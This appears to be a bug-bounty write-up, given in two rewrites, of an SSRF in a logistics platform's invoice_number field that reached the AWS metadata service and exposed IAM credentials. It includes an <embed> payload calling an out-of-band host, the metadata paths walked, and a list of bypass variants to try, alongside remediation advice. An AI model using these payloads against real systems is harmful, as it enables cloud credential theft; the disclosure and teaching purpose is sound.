The Invoice Number That Read AWS
An invoice number field on an order-creation endpoint was interpreted as HTML markup by the backend, allowing an attacker to make the server fetch arbitrary URLs. This SSRF let the attacker reach the AWS instance metadata service and retrieve temporary IAM credentials for the production instance role.
medium.com
Published on medium.com
Bug Bounty
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
The target is a logistics platform, identified in the write-up by role rather than by name while the finding remains open. The feature at the centre of the story is the create-order API, and specifically one field on it: invoice_number, a free-text value submitted alongside the consignee and the order items. In normal use it is a label. The order is created, a 200 OK comes back, and an invoice record is generated.
The write-up frames the finding as SSRF, classified as CWE-918, with a CVSS score of 7.0 and a severity of High. The author's point is that invoice values are rarely treated as opaque strings: they get parsed, templated, rendered into PDFs or pushed into downstream systems. Any pipeline that interprets the value as markup will also fetch the resources that markup references, from the server's own network position. That fetch is the attack surface, and no file upload or dedicated webhook field is needed to reach it.
Setup
The only precondition described is the ability to create an order. The author notes that the SSRF was repeatable and reachable by any user who can create an order, and describes the request as unauthenticated in that sense. The endpoint is called with a key parameter and a username parameter, both supplied in the query string; the write-up does not explain how those values are obtained or what they authorise.
The tooling named is Burp Collaborator, used through an oastify.com endpoint to catch out-of-band callbacks. All keys and identifiers in the published text are redacted or reconstructed placeholders.
Finding it
The starting observation is that the create-order call accepts invoice_number as a plain string and returns success:
POST /api/v3/create-order?key=[REDACTED]&username=security-inhouse HTTP/2
Host: www.example-logistics.com
Content-Type: application/json
{ "consignee": "…", "items": [ /* 19 KB of a perfectly normal order */ ], "invoice_number": "INV-2026–0041"}
The response is a 200 OK with a generated invoice record. Acceptance of the field is not the interesting part. The question the author asks is what the backend does with the value. An invoice number that the server treats as raw markup rather than an opaque string is not a label but an instruction, because whatever renders it will resolve the resources it references, from inside the platform's network.
Exploitation
Step 1: prove the server makes outbound requests
Blind SSRF, where the response is never returned to the attacker, is proven by leaving a trace that can be checked later. The invoice number was replaced with an HTML <embed> element pointing at a Collaborator host:
<embed width="700" height="700" src=http://[collab-id].oastify.com>
The src attribute is the payload: if anything on the backend parses the value as markup and resolves the src, the Collaborator receives a request. The order was accepted with a 200 OK, and minutes later the Collaborator logged a callback originating from the platform's internal infrastructure. The callback also carries the source IP of the request, which identifies the internal host that performed the fetch.

That single hit confirms two things. First, the field is processed rather than merely stored: the server parsed the invoice number as markup, with no sanitisation between user input and whatever renders it. Second, the fetch originates from inside the backend's network, so the server makes outbound requests on the attacker's behalf. A callback proves the forgery; the next question is what the server's network position lets it reach.
Step 2: reach the instance metadata service
On AWS, every EC2 instance can reach the link-local address [redacted], which answers questions about the instance itself: its instance ID, its region, its IAM roles. It is reachable only from inside the instance, which is what makes it the standard target of an SSRF: the attacker does not need to breach the network, only to make the server walk down its own hallway.
The invoice number was pointed at the metadata service, and the backend's fetcher walked the tree level by level:
GET http:
├── ami-id
├── instance-type → "ec2" — confirmed: we're inside an EC2 instance
├── iam/
│ └── security-credentials/
│ └── ec2-instance → the instance's attached IAM role
└── identity-credentials/
└── ec2/
└── security-credentials/
└── ec2-instance → the credential document itself
Each level confirmed the previous one. The instance-type response was ec2, confirming the host is an EC2 instance. The IAM tree showed an attached role, reached through the ec2-instance path. The identity-credentials path returned the security-credentials document itself, the same JSON an in-instance SDK would receive:
{
"Code": "Success",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIA[REDACTED]",
"SecretAccessKey": "[REDACTED]",
"Token": "[REDACTED]",
"Expiration": "2026-01-21T11:00:00Z"
}
These are temporary but fully functional AWS credentials issued to the platform's production instance role, exfiltrated through an invoice field. The values in the published write-up are reconstructed placeholders; the real keys were disclosed privately to the vendor and rotated as part of remediation. The shape of the response is what the service returns.
Root cause
The root cause is that invoice_number is parsed as markup somewhere in the backend pipeline, with no sanitisation between the user-supplied string and the component that renders it. Because that component resolves the resources the markup references, the server performs attacker-directed requests from its own network position. The write-up does not identify the specific rendering component, so which stage of the pipeline interprets the value is not stated.
Existing defences did not stop the chain. The field had no meaningful validation, which the author attributes to it never having caused trouble before. The instance metadata service answered the fetcher's requests, so it could walk the IAM tree. The instance role was attached and its credentials were retrievable through the identity-credentials path. The author's remediation note in the report says "sanitise user inputs", which addresses the parsing but not the network position or the credential exposure.
Impact
Severity was rated High at CVSS 7.0, and the author argues the number undersells the finding. A stolen instance-role credential is not a single door: whatever permissions the backend role holds, including object storage, queues, databases and internal APIs, answer to the attacker as well. Because the SSRF was repeatable and available to any user who can create an order, the credential could be refreshed at will for as long as the role's permissions stayed wide. The chain required no exploit framework and no 0-day, only a server that treats user input as instructions.
The write-up does not enumerate the specific permissions attached to the role or demonstrate actions taken with the credentials beyond retrieving them.
Fix
The author ranks the remediation by value and describes a four-layer stack, noting that the report's own note to sanitise user inputs is the smallest piece.
- Enforce IMDSv2. The highest-value control. IMDSv2 requires a session token obtained through an HTTP
PUTwith a token header, which a request generated by an SSRF payload cannot supply by accident. Setting it to required at the account level removes the metadata-harvesting stage even if the SSRF survives. - Validate the field as a string. An invoice number should match
[A-Z0–9-]{1,32}at most. Treatinginvoice_numberas an opaque identifier and rejecting anything that is not a plain invoice ID removes the root cause. - Allowlist outbound destinations. If the pipeline must fetch URLs, route them through a proxy that permits only known-good domains, and resolve DNS in-house so that user-supplied hosts cannot resolve to link-local (
[redacted]/16), loopback or RFC 1918 ranges. - Shrink the role. Least privilege limits the blast radius of any future SSRF: a role that can only write to one S3 bucket is an annoyance to steal, while a role that can read the account is a breach.
The write-up states that the real keys were disclosed privately to the vendor and rotated. It does not say which of the four controls the vendor implemented.
Variants to test
- Other free-text fields on the same order flow. Submit the
<embed>payload in consignee, address lines or item descriptions. A positive result is a Collaborator callback from the platform's internal infrastructure after a200 OK. - Other markup elements and attributes. The write-up uses
<embed src=...>; other elements that cause a fetch, such as image or object tags, are worth trying where the renderer accepts them. A callback confirms the same parsing behaviour. - Metadata paths beyond the credential document. Walk
instance-type, the IAM role listing and the identity-credentials path as the author did. A positive result is a response body containing instance metadata rather than an error or an empty document. - IMDSv2 enforcement check. Send a metadata request without the token header. If the service still answers, IMDSv1 is available and the harvesting stage works; a
401indicates IMDSv2 is required. - DNS-based bypasses of naive filters. Where a host allowlist or IP blocklist exists, point the payload at a hostname that resolves to
[redacted]. A callback or metadata response shows the filter resolves names after checking them. - Credential refresh. Repeat the metadata request after the original credentials expire. A fresh credential document shows the SSRF is repeatable and the exposure persists for as long as the role's permissions stay wide.
What happened, in plain words
A logistics company runs a website where customers place orders. Every order form has a box for an invoice number, the little label printed on the bill. Nobody thinks about that box. It is there to hold a short piece of text like INV-2026-0041, and the server saves it.
Except this server did not just save it. Somewhere behind the scenes, the platform took whatever was typed into that box and treated it as a piece of a web page. So the researcher typed a small piece of web page code into the invoice box instead of an invoice number. That code told the server to go and fetch a web address. The server did, and it did so from inside the company's own private network.
That is the whole trick. Once you can make a server fetch a web address of your choosing, you can point it at addresses that only the server can reach. One of those addresses, on Amazon's cloud, hands out the server's own login keys. The researcher asked for those keys through the invoice box and got them back.
This class of bug is called Server-Side Request Forgery, or SSRF. The name says it exactly: the server is tricked into making a request on the attacker's behalf. The write-up classifies it as CWE-918, a catalogue number for this kind of weakness, and rates it High with a CVSS score of 7.0. CVSS is a standard scoring system for how bad a security flaw is; 7.0 sits in the High band.
The target is a logistics platform. The write-up identifies it by its role, not by its name, because the finding was still open when it was published. All keys and identifiers in the published text are redacted or replaced with placeholders.
The setup
What an API is
When you use a website, your browser and the company's server talk to each other. Often the browser asks for a whole page. But many modern sites also have a second, quieter channel: the page's own code sends small messages to the server, like "create this order" or "show my last five orders". Those messages go to an API, which is short for Application Programming Interface. Think of it as the service counter at the back of the shop: you do not walk into the kitchen, you hand a written slip to the counter and get an answer back.
Each API address is called an endpoint. Each endpoint expects certain pieces of information, called parameters. Some parameters travel in the web address itself (the query string, everything after the ?), and some travel in the body of the message, usually formatted as JSON, a simple text format for structured data that looks like { "name": "value" }.
The endpoint at the centre of this story is the create-order call. It takes the consignee (who the parcel goes to), the items being ordered, and an invoice number. In normal use the invoice number is a label. The order is created, the server answers 200 OK (the standard code for "that worked"), and an invoice record is generated.
Why an invoice number is worth a second look
The author's reasoning is worth spelling out, because it is the heart of the finding. Invoice values are rarely kept as plain, untouched text. They get parsed, slotted into templates, rendered into PDF invoices, or pushed into other systems downstream. Any pipeline that reads your input as markup, meaning as web page code rather than as a meaningless string, will also go and fetch the resources that markup points to, and it will do so from the server's own network position. That fetch is the attack surface. You do not need a file upload feature or a special "webhook URL" box to get SSRF. You need a server that trusts a string.
The precondition and the tooling
The only precondition described is the ability to create an order. The author notes that the SSRF was repeatable and reachable by any user who can create an order, and describes the request as unauthenticated in that sense. The endpoint is called with a key parameter and a username parameter, both supplied in the query string.
The tool named is Burp Collaborator, used through an oastify.com endpoint. Burp Collaborator is a service that gives you a unique web address you control and then tells you whenever anything on the internet contacts it. It is the "leave something behind that tells you later" trick. AWS, Amazon Web Services, is Amazon's cloud platform: companies rent computers there instead of owning their own machines.
Finding it
The starting observation is that the create-order call accepts invoice_number as a plain string and returns success:
POST /api/v3/create-order?key=[REDACTED]&username=security-inhouse HTTP/2
Host: www.example-logistics.com
Content-Type: application/json
{ "consignee": "…", "items": [ /* 19 KB of a perfectly normal order */ ], "invoice_number": "INV-2026–0041"}
Line by line:
POST /api/v3/create-order?key=[REDACTED]&username=security-inhouse HTTP/2is the request line.POSTis the method used when you are sending data to the server to create something./api/v3/create-orderis the endpoint path. After the?come two query parameters:key, whose value is redacted, andusername, set tosecurity-inhouse.HTTP/2is the version of the web protocol being spoken.Host: www.example-logistics.comtells the server which site name the request is for. One server can host many sites, so this line picks one.Content-Type: application/jsonannounces that the body of the message is JSON, so the server knows how to read it.- The blank line separates the headers from the body.
- The body is a JSON object with three fields:
consignee,items(the comment says it is 19 KB of a perfectly normal order, so it is elided here), andinvoice_number, set toINV-2026–0041.
The response is a 200 OK with a generated invoice record. Acceptance of the field is not the interesting part. The question the author asks is what the backend does with the value. An invoice number that the server treats as raw markup rather than an opaque string is not a label but an instruction, because whatever renders it will resolve the resources it references, from inside the platform's network.
Exploitation
Step 1: prove the server makes outbound requests
Blind SSRF means the server fetches a web address but never shows you the response. You cannot see the answer, so you prove the fetch happened by leaving a trace you can check later. The invoice number was replaced with an HTML <embed> element pointing at a Collaborator host:
<embed width="700" height="700" src=http://[collab-id].oastify.com>
Line by line:
<embed ...>is an HTML tag. HTML is the language web pages are written in, and a tag is an instruction to the browser about what to display or load. Theembedtag tells the browser to load external content into the page.width="700" height="700"sets the size of that embedded content, in pixels. It is there to look like an ordinary embed.src=http://[collab-id].oastify.comis the important part.srcmeans "source": the address the browser, or in this case the server, should go and fetch. The address points at the researcher's Collaborator host, with the unique identifier redacted.
The src attribute is the payload: if anything on the backend parses the value as markup and resolves the src, the Collaborator receives a request. The order was accepted with a 200 OK, and minutes later the Collaborator logged a callback originating from the platform's internal infrastructure. A callback is simply an incoming contact: something on the internet reached out to the Collaborator address. The callback also carries the source IP of the request, which identifies the internal host that performed the fetch. An IP address is the numeric address of a machine on a network, like a postal address for computers.

That single hit confirms two things. First, the field is processed rather than merely stored: the server parsed the invoice number as markup, with no sanitisation between user input and whatever renders it. Sanitisation means cleaning input so that code inside it is defused and treated as harmless text. Second, the fetch originates from inside the backend's network, so the server makes outbound requests on the attacker's behalf. A callback proves the forgery; the next question is what the server's network position lets it reach.
Step 2: reach the instance metadata service
On AWS, every EC2 instance can reach the link-local address [redacted]. An EC2 instance is a virtual computer rented from Amazon. Link-local means an address that is only meaningful on the local network segment, not routed across the internet. This particular address answers questions about the instance itself: its instance ID, its region, its IAM roles. IAM, Identity and Access Management, is AWS's system for saying who is allowed to do what. A role is a set of permissions that a machine or person can wear, like a staff badge that opens certain doors.
The metadata service is reachable only from inside the instance, which is what makes it the standard target of an SSRF: the attacker does not need to breach the network, only to make the server walk down its own hallway. The everyday comparison: you cannot get into the building, but you can ask the receptionist to walk to the safe and read you what is written on the documents inside. The receptionist has legitimate access; you are borrowing it.
The invoice number was pointed at the metadata service, and the backend's fetcher walked the tree level by level:
GET http:
├── ami-id
├── instance-type → "ec2" — confirmed: we're inside an EC2 instance
├── iam/
│ └── security-credentials/
│ └── ec2-instance → the instance's attached IAM role
└── identity-credentials/
└── ec2/
└── security-credentials/
└── ec2-instance → the credential document itself
Line by line:
GET http:is the start of the request the fetcher made.GETis the web method for "give me this thing". The address is cut off in the write-up, but the tree below shows the paths that were walked on the metadata service.ami-idis a path on the metadata service that the fetcher walked. An AMI, Amazon Machine Image, is a template for a virtual computer.instance-typereturned"ec2", confirming the host is an EC2 instance.iam/security-credentials/ec2-instanceis the path that lists the instance's attached IAM role.identity-credentials/ec2/security-credentials/ec2-instanceis the path that returns the credential document itself.
Each level confirmed the previous one. The instance-type response was ec2. The IAM tree showed an attached role, reached through the ec2-instance path. The identity-credentials path returned the security-credentials document itself, the same JSON an in-instance SDK would receive. An SDK is a software toolkit that programs use to talk to a service; the point is that the server handed over exactly what its own software would normally be given.
{
"Code": "Success",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIA[REDACTED]",
"SecretAccessKey": "[REDACTED]",
"Token": "[REDACTED]",
"Expiration": "2026-01-21T11:00:00Z"
}
Line by line:
"Code": "Success"says the request worked."Type": "AWS-HMAC"names the kind of credential. HMAC is a signing method used to prove that a request really came from the holder of the key."AccessKeyId": "ASIA[REDACTED]"is the public half of the credential, the username equivalent. TheASIAprefix is characteristic of temporary AWS credentials."SecretAccessKey": "[REDACTED]"is the private half, the password equivalent. It is redacted here."Token": "[REDACTED]"is a session token, an extra piece that temporary credentials carry alongside the key pair. It is redacted here."Expiration": "2026-01-21T11:00:00Z"is when the credential stops working. Temporary credentials expire, which limits how long a stolen set is useful, unless you can fetch a fresh set.
These are temporary but fully functional AWS credentials issued to the platform's production instance role, exfiltrated through an invoice field. Exfiltrated means taken out of the system without permission. The values in the published write-up are reconstructed placeholders; the real keys were disclosed privately to the vendor and rotated as part of remediation. Rotated means replaced with new keys so the old ones stop working. The shape of the response is what the service returns.
Root cause
The root cause is that invoice_number is parsed as markup somewhere in the backend pipeline, with no sanitisation between the user-supplied string and the component that renders it. Because that component resolves the resources the markup references, the server performs attacker-directed requests from its own network position. The write-up does not identify the specific rendering component, so which stage of the pipeline interprets the value is not stated.
Existing defences did not stop the chain. The field had no meaningful validation, which the author attributes to it never having caused trouble before. The instance metadata service answered the fetcher's requests, so it could walk the IAM tree. The instance role was attached and its credentials were retrievable through the identity-credentials path. The author's remediation note in the report says "sanitise user inputs", which addresses the parsing but not the network position or the credential exposure.
Impact
Severity was rated High at CVSS 7.0, and the author argues the number undersells the finding. A stolen instance-role credential is not a single door: whatever permissions the backend role holds, including object storage, queues, databases and internal APIs, answer to the attacker as well. Object storage is cloud file storage, queues are message pipelines between systems, and internal APIs are the service counters that are not meant to be reachable from outside. Because the SSRF was repeatable and available to any user who can create an order, the credential could be refreshed at will for as long as the role's permissions stayed wide. The chain required no exploit framework and no 0-day, only a server that treats user input as instructions. A 0-day is a previously unknown flaw with no fix available yet.
The write-up does not enumerate the specific permissions attached to the role or demonstrate actions taken with the credentials beyond retrieving them.
Fix
The author ranks the remediation by value and describes a four-layer stack, noting that the report's own note to sanitise user inputs is the smallest piece.
- Enforce IMDSv2. The highest-value control. IMDSv2 is the second version of the instance metadata service. It requires a session token obtained through an HTTP
PUTwith a token header, which a request generated by an SSRF payload cannot supply by accident.PUTis another web method, used to send data; the point is that the fetcher would have to perform an extra, deliberate step that a simple markup fetch does not do. Setting it to required at the account level removes the metadata-harvesting stage even if the SSRF survives. - Validate the field as a string. An invoice number should match
[A-Z0–9-]{1,32}at most. That is a pattern meaning: one to thirty-two characters, each either a capital letter, a digit or a hyphen. Treatinginvoice_numberas an opaque identifier and rejecting anything that is not a plain invoice ID removes the root cause. - Allowlist outbound destinations. If the pipeline must fetch URLs, route them through a proxy that permits only known-good domains, and resolve DNS in-house so that user-supplied hosts cannot resolve to link-local (
[redacted]/16), loopback or RFC 1918 ranges. An allowlist is a list of things that are permitted, with everything else refused. DNS is the system that turns a name likeexample.cominto an IP address. Loopback is the machine's own address, and RFC 1918 ranges are the private address blocks used inside company networks. - Shrink the role. Least privilege means giving each role only the permissions it actually needs. It limits the blast radius of any future SSRF: a role that can only write to one S3 bucket is an annoyance to steal, while a role that can read the account is a breach. S3 is AWS's object storage service.
The write-up states that the real keys were disclosed privately to the vendor and rotated. It does not say which of the four controls the vendor implemented.
Variants to test
- Other free-text fields on the same order flow. Submit the
<embed>payload in consignee, address lines or item descriptions. A positive result is a Collaborator callback from the platform's internal infrastructure after a200 OK. - Other markup elements and attributes. The write-up uses
<embed src=...>; other elements that cause a fetch, such as image or object tags, are worth trying where the renderer accepts them. A callback confirms the same parsing behaviour. - Metadata paths beyond the credential document. Walk
instance-type, the IAM role listing and the identity-credentials path as the author did. A positive result is a response body containing instance metadata rather than an error or an empty document. - IMDSv2 enforcement check. Send a metadata request without the token header. If the service still answers, IMDSv1 is available and the harvesting stage works; a
401indicates IMDSv2 is required.401is the standard code for "you are not authorised". - DNS-based bypasses of naive filters. Where a host allowlist or IP blocklist exists, point the payload at a hostname that resolves to
[redacted]. A callback or metadata response shows the filter resolves names after checking them. - Credential refresh. Repeat the metadata request after the original credentials expire. A fresh credential document shows the SSRF is repeatable and the exposure persists for as long as the role's permissions stay wide.
Glossary
- API: the service counter that programs use to talk to a server, sending small structured messages instead of whole pages.
- Endpoint: one specific address on an API, such as the create-order call.
- Parameter: a named piece of information a request carries, either in the web address or in the body.
- Query string: the part of a web address after the
?, holding parameters. - JSON: a plain text format for structured data, written as name and value pairs.
- HTTP: the protocol browsers and servers use to exchange requests and responses.
- POST / GET / PUT: web methods.
POSTsends data to create something,GETasks for something,PUTsends data to set something. - 200 OK: the standard response code meaning the request succeeded.
- 401: the standard response code meaning the request was not authorised.
- Header: a line in a request or response carrying metadata, such as the host name or content type.
- HTML: the language web pages are written in, made of tags.
- Tag: an instruction in HTML, such as
<embed>, telling a browser or renderer what to load or show. srcattribute: the part of a tag that gives the address to fetch.- SSRF (Server-Side Request Forgery): tricking a server into making a web request of the attacker's choosing from its own network position.
- Blind SSRF: SSRF where the response is never shown to the attacker, so the fetch is proven by an out-of-band signal.
- Out-of-band callback: a contact made to an address the attacker controls, used to prove a fetch happened.
- Burp Collaborator: a service that provides a unique address and reports any contact made to it.
- CWE-918: the catalogue entry for Server-Side Request Forgery.
- CVSS: a standard scoring system for the severity of a security flaw; 7.0 is High.
- Sanitisation: cleaning input so that any code inside it is defused and treated as harmless text.
- Markup: text written in a language like HTML that a renderer interprets as instructions rather than as plain characters.
- Opaque string: a value treated as meaningless text, never interpreted.
- AWS: Amazon Web Services, Amazon's cloud platform where companies rent computers.
- EC2 instance: a virtual computer rented from AWS.
- AMI: Amazon Machine Image, the template a virtual computer is built from.
- Link-local address: an address only meaningful on the local network segment, not routed across the internet.
- Metadata service: the address
[redacted]on AWS, answering questions about the instance itself. - IMDSv1 / IMDSv2: the first and second versions of that metadata service; the second requires a session token obtained with a
PUT. - IAM: AWS's Identity and Access Management system, which decides who may do what.
- Role: a set of permissions a machine or person can wear, like a staff badge.
- Credential: the key material that proves identity to a service, here an access key ID, a secret access key and a session token.
- Access key ID / secret access key: the public and private halves of an AWS credential, roughly a username and a password.
- Session token: an extra piece carried by temporary credentials.
- HMAC: a signing method used to prove a request came from the holder of a key.
- SDK: a software toolkit that programs use to talk to a service.
- Exfiltration: taking data out of a system without permission.
- Rotation: replacing keys with new ones so the old ones stop working.
- Least privilege: giving each role only the permissions it actually needs.
- Allowlist: a list of permitted things, with everything else refused.
- DNS: the system that turns a name like
example.cominto an IP address. - IP address: the numeric address of a machine on a network.
- Loopback: the machine's own address, reachable only from itself.
- RFC 1918 ranges: the private address blocks used inside company networks.
- S3: AWS's object storage service, cloud file storage.
- 0-day: a previously unknown flaw with no fix available yet.
- Blast radius: how much damage a single compromise can cause.